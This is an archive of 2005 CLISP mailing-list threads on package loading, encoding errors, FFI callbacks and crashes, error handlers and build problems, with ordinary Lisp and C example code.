it was wrong before, it is wrong now.

(documentation symbol 'sys::file) is what you need.

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> * Kania Potter <xnavn_cbggre@lnubb.pbz> [2005-08-03 04:30:58 -0700]:
>
> Thanks for u'r information Mr. J=C3=B6rg H=C3=B6hle. But I still
> have a problem. I try to load again my program, but
> the same error message "PG" didn't recognize. I've
> done extract  pg-dot-lisp-0.19.tgz, and try to load an
> example code (pg-tests.lisp). But, unfortunately, "PG"
> didn't recognize :(
> Iam really confused. Please help me.

you have to compile and load the package before you can use it (run
tests &c)
read the PG README on how to do that.

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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-08-02 21:58:16 -0700]:
>
> Sam Steingold <sds@gnu.org> writes:
>
>>> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-07-31 00:27:55 -0700]:
>>>
>>> Is there any way (flags, tools), which I can use to avoid clisp from
>>> crashing, also get better error checking and more warnings?
>>
>> <http://clisp.cons.org/impnotes/dffi.html#ffi-extern-output>
>>
> Sam, thanks for your response. I tried using the variables mentioned there,
>
> [1] but it did not generate any *.c file.
>
> To be specific, I added the lines:
>
> (setq FFI:*OUTPUT-C-FUNCTIONS* t)
> (setf FFI:*OUTPUT-C-VARIABLES* t)
>
> to the file and compiled as below
>
>
> [20]> (compile-file "wxToolBar.lisp")
> ;; Compiling file C:\wxcl\clisp-wrappers\wxToolBar.lis
> p ...
> ;; Wrote file C:\wxcl\clisp-wrappers\wxToolBar.fas
> 0 errors, 0 warnings
> #P"C:\\wxcl\\clisp-wrappers\\wxToolBar.fas" ;
> NIL ;
> NIL
> [21]>

all your DEF-CALL-OUT forms have a (:LIBRARY ...) argument, right?
comment it out and then re-compile wxToolBar.lisp.

> [2]when clisp crashes it does not generates any core dump file, is
> there any way I can get the stack trace or some information on why did
> it crash or what made it crash, or make it generate a core dump?

running under a debugger (e.g., gdb) should help.
I don't know how to tell windows to generate core dumps.
in my experience it does generate "stacktrace" files (smallish ASCII
files with number that I don't know how to interpret).

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Kania Potter writes:
> Thanks for u'r information Mr. Jörg Höhle. But I still
> have a problem. I try to load again my program, but
> the same error message "PG" didn't recognize. I've
> done extract  pg-dot-lisp-0.19.tgz, and try to load an
> example code (pg-tests.lisp). But, unfortunately, "PG"
> didn't recognize :(
> Iam really confused. Please help me.
> 
> thanks for the answer

(load (compile-file "defpackage.lisp"))
(load (compile-file "sysdep.lisp"))
(load (compile-file "pg.lisp"))

;; or just: (load "defpackage.lisp") (load "sysdep.lisp") (load "pg.lisp") 
;; or just: (asdf:operate 'asdf:load-op :pg)

;; then:
(use-package "POSTGRESQL")
(with-pg-connection (conn ...)
   (with-pg-transaction conn
        (pg-exec "DROP TABLE test_date"))


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Sam Steingold wrote:

> it was wrong before, it is wrong now.
> 
> (documentation symbol 'sys::file) is what you need.
> 

Thanks!

This will work with older clisp version?

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Sam Steingold <sds@gnu.org> writes:

>> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-08-02 21:58:16 -0700]:
>>
>> Sam Steingold <sds@gnu.org> writes:
>>
>>>> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-07-31 00:27:55 -0700]:
>>>>
>>>> Is there any way (flags, tools), which I can use to avoid clisp from
>>>> crashing, also get better error checking and more warnings?
>>>
>>> <http://clisp.cons.org/impnotes/dffi.html#ffi-extern-output>
>>>
> all your DEF-CALL-OUT forms have a (:LIBRARY ...) argument, right?
> comment it out and then re-compile wxToolBar.lisp.
>
Yes, indeed that was the case, commenting and recompiling fixed it.
Thanks once again.

>> [2]when clisp crashes it does not generates any core dump file, is
>> there any way I can get the stack trace or some information on why did
>> it crash or what made it crash, or make it generate a core dump?
>
> running under a debugger (e.g., gdb) should help.
> I don't know how to tell windows to generate core dumps.
> in my experience it does generate "stacktrace" files (smallish ASCII
> files with number that I don't know how to interpret).
>
I will try that.

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Thanks for all information.
But, every time I run clisp, I got the following
output:

*** - invalid byte #xF8 in CHARSET:UTF-8 conversion,
not a Unicode-16.

I search in google and find about this problem too and
how to solve it. I try it, but, same message again :
*** - invalid byte #xF8 in CHARSET:UTF-8 conversion,
not a Unicode-16.
And I don't know how to solve it......

Where Iam wrong???

Thanks for the answer.

regards,

kania


--- Pascal Bourguignon <pjb@informatimago.com> wrote:

> Kania Potter writes:
> > Thanks for u'r information Mr. Jörg Höhle. But I
> still
> > have a problem. I try to load again my program,
> but
> > the same error message "PG" didn't recognize. I've
> > done extract  pg-dot-lisp-0.19.tgz, and try to
> load an
> > example code (pg-tests.lisp). But, unfortunately,
> "PG"
> > didn't recognize :(
> > Iam really confused. Please help me.
> > 
> > thanks for the answer
> 
> (load (compile-file "defpackage.lisp"))
> (load (compile-file "sysdep.lisp"))
> (load (compile-file "pg.lisp"))
> 
> ;; or just: (load "defpackage.lisp") (load
> "sysdep.lisp") (load "pg.lisp") 
> ;; or just: (asdf:operate 'asdf:load-op :pg)
> 
> ;; then:
> (use-package "POSTGRESQL")
> (with-pg-connection (conn ...)
>    (with-pg-transaction conn
>         (pg-exec "DROP TABLE test_date"))
> 


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Kania Potter writes:
> Thanks for all information.
> But, every time I run clisp, I got the following
> output:
> 
> *** - invalid byte #xF8 in CHARSET:UTF-8 conversion,
> not a Unicode-16.
> 
> I search in google and find about this problem too and
> how to solve it. I try it, but, same message again :
> *** - invalid byte #xF8 in CHARSET:UTF-8 conversion,
> not a Unicode-16.
> And I don't know how to solve it......
> 
> Where Iam wrong???

You're not managing the encodings.




For the database interaction with the package PG, you must ensure that
the database, and clisp use the same encoding to communicate.

For example, I use unicode for both, so I create the data base with:

    createdb -E UNICODE $DBNAME "$DBDESCRIPTION"

and I indicate to the PG package the encoding to be expected as:

    (setf *pg-client-encoding* "UNICODE")



For normal clisp oeprations, there are these symbol-macros to specify
the encoding you're using:

(DEFUN LSENCODING ()
  (FORMAT T "~%~{~32A ~A~%~}~%"
          (LIST
           'CUSTOM:*DEFAULT-FILE-ENCODING* CUSTOM:*DEFAULT-FILE-ENCODING*
           'CUSTOM:*FOREIGN-ENCODING*      CUSTOM:*FOREIGN-ENCODING*
           'CUSTOM:*MISC-ENCODING*         CUSTOM:*MISC-ENCODING*
           'CUSTOM:*PATHNAME-ENCODING*     CUSTOM:*PATHNAME-ENCODING*
           'CUSTOM:*TERMINAL-ENCODING*     CUSTOM:*TERMINAL-ENCODING*
           'SYSTEM::*HTTP-ENCODING*        SYSTEM::*HTTP-ENCODING*))
  (VALUES))


For example, if you terminal sends character in the iso-8859-1
encoding, you must tell it to clisp, either on the command line, or in
~/.clisprc.lisp or later:

    clisp -Eterminal iso-8859-1
or:
    (setf CUSTOM:*TERMINAL-ENCODING* charset:iso-8859-1)


Similarly for matching the encoding of the file pathnames, or the
default encoding for file contents, or for FFI (foreign function
interface), etc.



If you use the same encoding everywhere, you can do it at once with:

    clisp -E iso-8859-1

(but you still need to set separately the encoding used by PG, or any
other package that implement explicit encoding conversions specifically).

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-08-04 12:00:28 +0300]:
>
> Sam Steingold wrote:
>
>> it was wrong before, it is wrong now.
>> 
>> (documentation symbol 'sys::file) is what you need.
>> 
>
> Thanks!
>
> This will work with older clisp version?

it should.

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Date: Fri Aug  5 08:01:35 2005
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> * Kania Potter <xnavn_cbggre@lnubb.pbz> [2005-08-05 06:54:25 -0700]:
>
> But, every time I run clisp, I got the following
> output:
>
> *** - invalid byte #xF8 in CHARSET:UTF-8 conversion,
> not a Unicode-16.

<http://www.podval.org/~sds/clisp/impnotes/faq.html#faq-enc-err>


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Date: Fri Aug  5 12:59:27 2005
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CLISP SLIME users might want to grab CLISP cvs head and nag SLIME
developers to use it too:
(documentation 'symbol 'sys::file)
now returns a list of (file start-line end-line).
file = file where the symbol was defined
start-line and end-line are the locations in the file.
note that when file is "foo.fas",
line numbers should still point to "file.lisp"!

if the slime users & developers are happy with this, this functionality
will be exported (i.e., EXT:FILE instead or SYS::FILE).

comments are welcome.

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Hi,
  I am trying to embed an interpreter inside my application. I call a function
in the "dll" and the dll then calls back a function into lisp. And this then
starts the lisp interpreter. The problem which I was facing was that if the
user inputs a valid construct to the interpreter things work fine, but if he
inputs something wrong lisp crashes. So, to avoid it, I tried condition
handling use "handler-case", but when I use handler case, lisp crashes even
for valid inputs.

Is this a known problem, or is it only specific to what I am doing?

The function begin-loop below is the one which is being called by my lisp
application. 

The problem which I 

(defun begin-loop()
  (let (construct)
    (loop for i from 1 to 2 do
	  (setf construct (read))
	  (handler-case
	      (print (eval construct))
	    (t () (print *ERROR-OUTPUT*))
	    ))))


Thanks for your response.
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Date: Sat Aug  6 10:40:08 2005
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Surendra Singhi writes:
> Hi,
>   I am trying to embed an interpreter inside my application. I call a function
> in the "dll" and the dll then calls back a function into lisp. And this then
> starts the lisp interpreter. The problem which I was facing was that if the
> user inputs a valid construct to the interpreter things work fine, but if he
> inputs something wrong lisp crashes. So, to avoid it, I tried condition
> handling use "handler-case", but when I use handler case, lisp crashes even
> for valid inputs.
> 
> Is this a known problem, or is it only specific to what I am doing?
> 
> The function begin-loop below is the one which is being called by my lisp
> application. 
> 
> The problem which I 
> 
> (defun begin-loop()
>   (let (construct)
>     (loop for i from 1 to 2 do
> 	  (setf construct (read))
> 	  (handler-case
> 	      (print (eval construct))
> 	    (t () (print *ERROR-OUTPUT*))
> 	    ))))

You cannot print a stream, such as *ERROR-OUTPUT*.
You may use this RELP: 


(defmacro handling-errors (&body body)
  `(HANDLER-CASE (progn ,@body)
     (simple-condition 
         (ERR) 
       (format *error-output* "~&~A: ~%" (class-name (class-of err)))
       (apply (function format) *error-output*
              (simple-condition-format-control   err)
              (simple-condition-format-arguments err))
       (format *error-output* "~&"))
     (condition 
         (ERR) 
       (format *error-output* "~&~A: ~%  ~S~%"
               (class-name (class-of err)) err))))


(defun repl ()
  (do ((+eof+ (gensym))
       (hist 1 (1+ hist)))
      (nil)
    (format t "~%~A[~D]> " (package-name *package*) hist)
    (handling-errors
     (setf +++ ++   ++ +   + -   - (read *standard-input* nil +eof+))
     (when (or (eq - +eof+)
               (member - '((quit)(exit)(continue)) :test (function equal)))
       (return-from repl))
     (setf /// //   // /   / (multiple-value-list (eval -)))
     (setf *** **   ** *   * (first /))
     (format t "~& --> ~{~S~^ ;~%     ~}~%" /))))



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Pascal Bourguignon <pjb@informatimago.com> writes:

> Surendra Singhi writes:
>> Hi,
>>   I am trying to embed an interpreter inside my application. I call a function
>> in the "dll" and the dll then calls back a function into lisp. And this then
>> starts the lisp interpreter. The problem which I was facing was that if the
>> user inputs a valid construct to the interpreter things work fine, but if he
>> inputs something wrong lisp crashes. So, to avoid it, I tried condition
>> handling use "handler-case", but when I use handler case, lisp crashes even
>> for valid inputs.
>> 
>> Is this a known problem, or is it only specific to what I am doing?

> [...code snipped...]

Hello Pascal,

   Thanks for your repl-code, its very educative. But I am still facing the
original problem with FFI and handler-case.

Thanks once again.

-- 
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http://www.public.asu.edu/~sksinghi/index.html

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Date: Sat Aug  6 15:15:40 2005
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Surendra Singhi writes:
> Pascal Bourguignon <pjb@informatimago.com> writes:
> 
> > Surendra Singhi writes:
> >> Hi,
> >>   I am trying to embed an interpreter inside my application. I call a function
> >> in the "dll" and the dll then calls back a function into lisp. And this then
> >> starts the lisp interpreter. The problem which I was facing was that if the
> >> user inputs a valid construct to the interpreter things work fine, but if he
> >> inputs something wrong lisp crashes. So, to avoid it, I tried condition
> >> handling use "handler-case", but when I use handler case, lisp crashes even
> >> for valid inputs.
> >> 
> >> Is this a known problem, or is it only specific to what I am doing?
> 
> > [...code snipped...]
> 
> Hello Pascal,
> 
>    Thanks for your repl-code, its very educative. But I am still facing the
> original problem with FFI and handler-case.

You should be more precise. Give more code.

In the mean time, try (you may have to adapt the file types and C
compiler and linker invocations it to do it on MS-Windows):


(with-open-file (out "callback.c"
                     :direction :output
                     :if-exists :supersede
                     :if-does-not-exist :create)
  (princ "
    void call_me(int index,void (*callback)(const char*)){
        switch(index){
        case 0: callback(\"(princ \\\"Hello\\\")\"); break;
        case 1: callback(\"(print (/ 1 0))\");   break;
        case 2: callback(\"(defparameter *list* (list 1 2 3 4 5 6))\"); break;
        case 3: callback(\"(print (delete-if (function oddp) *list*))\"); break;
        default: callback(\"(error \\\"call_me: Invalid index\\\")\"); break; }}
   " out) (terpri out))


(defun compile-library (name)
  (let ((source   (make-pathname :type "c"  :defaults name))
        (object   (make-pathname :type "o"  :defaults name))
        (library  (make-pathname :type "so" :defaults name)))
    (ext:shell (format nil "gcc -shared -fPIC -g -O3 -c -o ~A ~A"
                       (namestring object) (namestring source)))
    (ext:shell (format nil "ld  -shared -fPIC -g        -o ~A ~A"
                       (namestring library) (namestring object)))
    (FFI:CLOSE-FOREIGN-LIBRARY  library)))

(compile-library "./callback")

(ffi:def-call-out call-me
    (:name "call_me")
  (:arguments (index ffi:int)
              (callback (ffi:c-function (:arguments (string ffi:c-string))
                                        (:return-type nil)
                                        (:language :stdc))))
  (:return-type nil)
  (:language :stdc)
  (:library "./callback.so"))

(defun call-back (string)
  (print string)
  (values))

(dotimes (i 4)
  (call-me i (function call-back)))



(defmacro handling-errors (&body body)
  `(HANDLER-CASE (progn ,@body)
     (simple-condition 
         (ERR) 
       (format *error-output* "~&~A: ~%" (class-name (class-of err)))
       (apply (function format) *error-output*
              (simple-condition-format-control   err)
              (simple-condition-format-arguments err))
       (format *error-output* "~&"))
     (condition 
         (ERR) 
       (format *error-output* "~&~A: ~%  ~S~%"
               (class-name (class-of err)) err))))


(defun repl ()
  (do ((+eof+ (gensym))
       (hist 1 (1+ hist)))
      (nil)
    (format t "~%~A[~D]> " (package-name *package*) hist)
    (handling-errors
     (setf +++ ++   ++ +   + -   - (read *standard-input* nil +eof+))
     (when (or (eq - +eof+)
               (member - '((quit)(exit)(continue)) :test (function equal)))
       (return-from repl))
     (setf /// //   // /   / (multiple-value-list (eval -)))
     (setf *** **   ** *   * (first /))
     (format t "~& --> ~{~S~^ ;~%     ~}~%" /))))


(dotimes (i 4)
  (call-me i (lambda (string)
               (with-input-from-string (*standard-input* string)
                 (repl)))))




;; And even:
[110]> (call-me 0 (lambda (string) (error "Let's break all the plates!")))


*** - Let's break all the plates!
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [111]> :bt
<1> #<SYSTEM-FUNCTION EXT:SHOW-STACK>
<2> #<COMPILED-FUNCTION SYSTEM::PRINT-BACKTRACE>
<3> #<COMPILED-FUNCTION SYSTEM::DEBUG-BACKTRACE>
<4> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT>
<5> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP-2-2>
<6> #<SYSTEM-FUNCTION SYSTEM::SAME-ENV-AS>
<7> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP-2>
<8> #<SYSTEM-FUNCTION SYSTEM::DRIVER>
<9> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP>
<10> #<SYSTEM-FUNCTION INVOKE-DEBUGGER>
<11> #<SYSTEM-FUNCTION ERROR> 1
APPLY frame for call (:LAMBDA '"(princ \"Hello\")")
<12> #<FUNCTION :LAMBDA (STRING) (ERROR "Let's break all the plates!")> 1
<13> #<SYSTEM-FUNCTION FFI::FOREIGN-CALL-OUT> 3
EVAL frame for form (CALL-ME 0 (LAMBDA (STRING) (ERROR "Let's break all the plates!")))
Printed 13 frames
Break 1 [111]> 


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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-08-05 23:59:35 -0700]:
>
> The problem which I was facing was that if the user inputs a valid
> construct to the interpreter things work fine, but if he inputs
> something wrong lisp crashes. So, to avoid it, I tried condition
> handling use "handler-case", but when I use handler case, lisp crashes
> even for valid inputs.

I think you want to use global error handlers
(they were created specifically for the sake of embedding CLISP)
<http://clisp.cons.org/impnotes/conditions.html#global-handler>

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Sam Steingold <sds@gnu.org> writes:

>> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-08-05 23:59:35 -0700]:
>>
>> The problem which I was facing was that if the user inputs a valid
>> construct to the interpreter things work fine, but if he inputs
>> something wrong lisp crashes. So, to avoid it, I tried condition
>> handling use "handler-case", but when I use handler case, lisp crashes
>> even for valid inputs.
>
> I think you want to use global error handlers
> (they were created specifically for the sake of embedding CLISP)
> <http://clisp.cons.org/impnotes/conditions.html#global-handler>
>
Sam thanks, I was using 2.33.83 it wasn't there, but then I downloaded 2.34
and I found it. It seems to be all fine, except how do I prevent it from
landing in the debugger?

(defun error-handler(ERR)
    (format *error-output* "error ~&~A: ~%  ~S~%"
                  (class-name (class-of err)) err))
(EXT:SET-GLOBAL-HANDLER 'condition #'error-handler)

I tried using the  above code.
 
Thanks once again.

-- 
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    - Orwell, 1984, 1948



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Date: Sun Aug  7 11:40:34 2005
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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-08-07 00:24:37 -0700]:
>
> Sam Steingold <sds@gnu.org> writes:
>
>>> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-08-05 23:59:35 -0700]:
>>>
>>> The problem which I was facing was that if the user inputs a valid
>>> construct to the interpreter things work fine, but if he inputs
>>> something wrong lisp crashes. So, to avoid it, I tried condition
>>> handling use "handler-case", but when I use handler case, lisp crashes
>>> even for valid inputs.
>>
>> I think you want to use global error handlers
>> (they were created specifically for the sake of embedding CLISP)
>> <http://clisp.cons.org/impnotes/conditions.html#global-handler>
>>
> Sam thanks, I was using 2.33.83 it wasn't there, but then I downloaded 2.34
> and I found it. It seems to be all fine, except how do I prevent it from
> landing in the debugger?
>
> (defun error-handler(ERR)
>     (format *error-output* "error ~&~A: ~%  ~S~%"
>                   (class-name (class-of err)) err))
> (EXT:SET-GLOBAL-HANDLER 'condition #'error-handler)

if you want to _handle_ the error, the handler must not return.
see ABORTONERROR in clisp/src/condition.lisp


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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-08-07 00:24:37 -0700]:
>
>> <http://clisp.cons.org/impnotes/conditions.html#global-handler>

<http://www.podval.org/~sds/clisp/impnotes/conditions.html#global-handler>

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Pascal Bourguignon <pjb@informatimago.com> writes:

> Surendra Singhi writes:
>> Pascal Bourguignon <pjb@informatimago.com> writes:
>> 
>> > Surendra Singhi writes:
>> >> Hi,
>> >>   I am trying to embed an interpreter inside my application. I call a function
>> >> in the "dll" and the dll then calls back a function into lisp. And this then
>> >> starts the lisp interpreter. The problem which I was facing was that if the
>> >> user inputs a valid construct to the interpreter things work fine, but if he
>> >> inputs something wrong lisp crashes. So, to avoid it, I tried condition
>> >> handling use "handler-case", but when I use handler case, lisp crashes even
>> >> for valid inputs.
>> >> 
>> >> Is this a known problem, or is it only specific to what I am doing?
>> 
>> > [...code snipped...]
>> 
>> Hello Pascal,
>> 
>>    Thanks for your repl-code, its very educative. But I am still facing the
>> original problem with FFI and handler-case.
>
> You should be more precise. Give more code.
>
[..code snipped..]
Thanks for the code. I did some further investigation into my problem, and it
is really behaving weirdly. I will summarize the behavior below:

[1] If I load the file once, execute, then I am shown the repl prompt, but any input
makes lisp crash.

[2]When I load the file twice (will show a warning), execute, then repl works for
correct input, but lisp crashes with invalid input.

[3] Load the file once, make a mistake so that lisp shows an error message,
then execute, things work as expected, for near about 10-12 times, but after
that lisp crashes.

[4]When I just run the repl, no problem whatsoever.

The dll file which I am using is available at
http://cvs.sourceforge.net/viewcvs.py/wxcl/miscellaneous/

and the lisp source code is available here

http://www.public.asu.edu/~sksinghi/test.lisp


The C source code can be accessed at
http://cvs.sourceforge.net/viewcvs.py/wxcl/wxc/

Thanks, I appreciate you help.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2005-07-26 17:37:50 +0200]:
>
> what's the proposed idiom to work around the "modern" package
> behaviour that it implies CASE-INVERTED-ness?
>
> (find-symbol "GetCurrentProcessId" "WIN32")
> always returns NIL.
>
> I think 'd shoot at somebody writing
> (find-symbol "gETcURRENTpROCESSiD" :win32)
> because that's completely misses the original point modern mode wants to address, which was to be able to refer to symbols using the same capitalization as within other programming languages.
>
> Note that a literal 'win32:GetCurrent... symbol in source code is not suitable, because the package does not exist on some user's machines, so there could be a reader error at load or compile time.
>
> Is there anything better than
> ... (and (find-package "WIN32")
>          (read-from-string "WIN32:GetCurrentProcessId"))
> ??

(and (find-package "WIN32")
     (find-symbol (string-case-invert "GetCurrentProcessId") "WIN32"))

(defun string-case-invert (s)
  (map 'string (lambda (c)
                 (cond ((upper-casep c) (char-downcase c))
                       ((lower-casep c) (char-upcase c))
                       (t c)))
       s))

maybe we should export STRING-CASE-INVERT as well as

(defun find-string (string package)
  (find-symbol (if (package-case-inverted-p package)
                   (string-case-invert string)
                   string)
               package))

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Hallo ,

I can read on the homepage of the project that a translation of 
CLISP bytecode into Java bytecode is still a open task.
Is anybody on this list in the position to tell me more about.
Any feedback welcomed also if there is any connection with the Jacol 
project.

Thanks 

Rgds

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Hi,

I'm using Clisp 2.33.2 on MacOS X/Ubuntu Linux and I have the following 
problem. If I call EXT:MAKE-PIPE-IO-STREAM in my handle-request-response 
method, the method returns and the page content is delivered but the 
connection is never closed and hence the browser waits forever. If I add 
a call to SOCKET-STREAM-SHUTDOWN with direction :OUTPUT everything seems 
to work as usual, but I'm still curious how the call to 
MAKE-PIPE-IO-STREAM manages to mess things up. The following program 
demonstrates the issue (it is derived from Araneida's example.lisp):

(defpackage "MY-ARANEIDA-EXAMPLE"
   (:use "CL" "ARANEIDA"))
(in-package :my-araneida-example)

(defvar *demo-url*
  (make-url :scheme "http" :host "localhost" ;(my-fqdn)
        :port 8000))

(defvar *listener*
  (make-instance #-araneida-uses-threads 'serve-event-http-listener
         :port (url-port *demo-url*)))

(defclass hello-handler (handler) ())

(defmethod handle-request-response ((handler hello-handler) method request)
  (request-send-headers request)
  (html-stream
   (request-stream request)
   `(html (head (title "Hello world"))
     (body (h1 "Hello World!"))))
  (finish-output (request-stream request))
;  (socket:socket-stream-shutdown (request-stream request) :output)
  (format (ext:make-pipe-io-stream "nc localhost 1234")
          "Hello world!")
  (format t "Handler returns ...~%")
  t)

(install-handler (http-listener-handler *listener*)
                 (make-instance 'hello-handler)
                 (urlstring (merge-url *demo-url* "/hello"))  t)

To try this, load araneida, then start some program listening on port 
1234 (e.g. nc -l -p 1234) and then do (start-listening *listener*) and 
(host-serve-events). Then try to load http://localhost:8000/hello 
(127.0.0.1 won't do). I've tried this with several versions of Firefox, 
Safari and w3m.

If you uncomment the line where SOCKET-STREAM-SHUTDOWN is called, 
everything should work.

Cheers,
Kai


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How can i create at run-time a new method since the
'clos:make-method-lambda' gf is not implemented ?






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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2005-07-26 17:37:50 +0200]:
>
> Is there anything better than
> ... (and (find-package "WIN32")
>          (read-from-string "WIN32:GetCurrentProcessId"))

(and (find-package "WIN32")
     (cs-cl:find-symbol "GetCurrentProcess" "WIN32"))
 ==>
WIN32:GetCurrentProcess ;
:EXTERNAL

(and (find-package "CL")
     (cs-cl:find-symbol "car" "CL"))
 ==>
CAR ;
:EXTERNAL

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Hi,

I'm trying to build clisp 2.34 on Cygwin.  These are the errors I get:

$ ./makemake --with-dynamic-ffi > Makefile && make config.lisp && make 
&& make check
make: `config.lisp' is up to date.
sh config.status --header=unixconf.h
config.status: creating unixconf.h
config.status: unixconf.h is unchanged
touch unixconf.h
echo '#include "unixconf.h"' > tmp.c
cat 'intparam.c' >> tmp.c
gcc tmp.c -o intparam
./intparam > intparam.h
rm -f intparam tmp.c
echo '#include "unixconf.h"' > tmp.c
cat 'floatparam.c' >> tmp.c
gcc tmp.c -o floatparam
./floatparam > floatparam.h
rm -f floatparam tmp.c
gcc  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type 
-Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations 
-DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -c spvw.c
In file included from spvw.d:24:
lispbibl.d:2363:1: warning: "HAS_HOST" redefined
lispbibl.d:2359:1: warning: this is the location of the previous definition
lispbibl.d:2364:1: warning: "HAS_DEVICE" redefined
lispbibl.d:2360:1: warning: this is the location of the previous definition
In file included from spvw.d:24:
lispbibl.d:9610: warning: register used for two global register variables
In file included from spvw.d:24:
constobj.d:89: error: duplicate member 'charname_8bis'
constobj.d:91: error: duplicate member 'charname_10bis'
constobj.d:99: error: duplicate member 'charname_0'
constobj.d:106: error: duplicate member 'charname_7'
constobj.d:107: error: duplicate member 'charname_8'
constobj.d:108: error: duplicate member 'charname_9'
constobj.d:109: error: duplicate member 'charname_10'
constobj.d:110: error: duplicate member 'charname_11'
constobj.d:111: error: duplicate member 'charname_12'
constobj.d:112: error: duplicate member 'charname_13'
constobj.d:125: error: duplicate member 'charname_26'
constobj.d:126: error: duplicate member 'charname_27'
constobj.d:131: error: duplicate member 'charname_32'
constobj.d:454: error: duplicate member 'backupextend_string'
make: *** [spvw.o] Error 1

Is there a patch for this in CVS that just hasn't made it into a release 
branch yet?

I would use the Lisp in a Box version, or the Cygwin package, but I want 
FastCGI support...

Jeremy


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> * Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-11 16:56:08 -0400]:
>
> I'm trying to build clisp 2.34 on Cygwin.

wfm.
could you please try cvs head?


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$ clisp -K FULL --version
GNU CLISP 2.34 (2005-07-20) (built 3332819104) (memory 3332819442)
Software: GNU C 3.4.2 (mingw-special)
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
-fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES
-DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a
/usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a
-luser32 -lws2_32 -lole32 -loleaut32 -luuid /usr/local/lib/libiconv.a
-L/usr/local/lib -lsigsegv
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS
SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
Features:
(ZLIB WILDCARD RAWSOCK POSTGRESQL PCRE DIRKEY REGEXP SYSCALLS I18N LOOP
 COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
 BASE-CHAR=CHARACTER PC386 WIN32)
C Modules: (clisp i18n syscalls regexp dirkey pcre postgresql rawsock
wildcard zlib)
Installation directory: C:\gnu\home\src\clisp\clisp\build-full\
User language: ENGLISH
Machine: PC/386 (PC/?86) stnt067 [150.0.0.200]


$ make check-ansi-tests
...
 APROPOS-LIST.1 APROPOS-LIST.2 APROPOS-LIST.3 APROPOS-LIST.4
 APROPOS-LIST.5 APROPOS-LIST.6 APROPOS-LIST.7 APROPOS-LIST.ERROR.1
 APROPOS-LIST.ERROR.2
*** - Program stack overflow. RESET


(test DESCRIBE.1 filed)

Thanks.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-08-12 11:10:33 +0300]:
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> (test DESCRIBE.1 filed)

could you please try to figure out which object is being described
(*universe* is rather large...)
thanks!

PS. it's "failed", not "filed"
see http://www.m-w.com/cgi-bin/netdict?fail
    http://www.m-w.com/cgi-bin/netdict?file



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I can't get CVS head to build with fastcgi and pcre support, either.

I had to do this in order to get this far (and it is probably extraneous 
in its placement of LTLIBPQ, but it was required in order for the 
configure file to run and find pcre_compile without failure):

./configure --with-dynamic-ffi --with-module=fastcgi --with-module=pcre 
LTLIBPQ=/usr/local/lib/libpcre.a
cd src
LTLIBPQ=/usr/local/lib/libpcre.a ./makemake --with-dynamic-ffi 
--with-module=fastcgi --with-module=pcre > Makefile
make config.lisp
make

...

When make runs:

full/lisp.exe -B . -M full/lispinit.mem -norc -q -i fastcgi/fastcgi -i 
pcre/pcre -x (saveinitmem "full/lispinit.mem")

...it barfs badly.  The "full" subdirectory doesn't seem to exist under 
"src".  "base" exists by that command, but "full" does not.

Jeremy



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>wfm.
>could you please try cvs head?
>
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>  
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Hi,
I've implemented following functions on Windows

/* (EXT::SETCLIPBOARD str)
   puts str, which should be a string to Windows clipboard.
   On NT put it as CF_UNICODETEXT, on Windows 95/98 -
   as CF_TEXT (translates to ANSI character set using
   *MISC-ENCODING*). 
   returns: T on success, NIL otherwise.*/
  
/* (EXT::GETCLIPBOARD)
   Return the textual contents of Windows clipboard. First try to get
   it as CF_UNICODETEXT, then CF_TEXT.
   returns: string or NIL (on failure or when no text available */

and want to:
1. Leave them in base distribution (since it is not so easy
to compile and link POSIX in MSVC). May I?
2. Export them from EXT, in which lisp file is better to do it?
3. Make short abbreviations to them and to
    (eval (read-from-string (ext:getclipboard)))
   or probably something more complicated to handle NIL
   (To encourage users to use it).

This was inspired by "spurious #\L problem".
   
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Best regards,
 Arseny    




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Date: Sat Aug 13 01:34:09 2005
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hi all,

I have a project running for 6 months now. But in september, my company will
change home. So we have to shutdown our computers. The problem is that i
can't reload all the project from src files (they are no more loadable since
i made lots of structural changes, dependencies ...).

I'm using Slime + CLisp.

But the last time, i try to save an image, at restart i had lots of problems
:
...
stack-overflow ...

So, my question is how can i save an image currently running slime + clisp
and how to restart all of this.


Christophe Turle.




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Date: Sat Aug 13 13:55:11 2005
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Hi,

[1] First I will mention the lisp crashing part. This variable assignment
below though incorrect should not make lisp crash, rather a warning would be
helpful. 

(ffi:with-c-var (x `(ffi:c-ptr ffi:int))
		(setf x 5))

The error message is:
*** - handle_fault error2 ! address = 0x0 not in [0x19d70000,0x19ec121c) !

I am using clisp 2.34 on windows.


(ffi:with-c-var (x `(ffi:c-pointer ffi:int))

		(setf x 5))

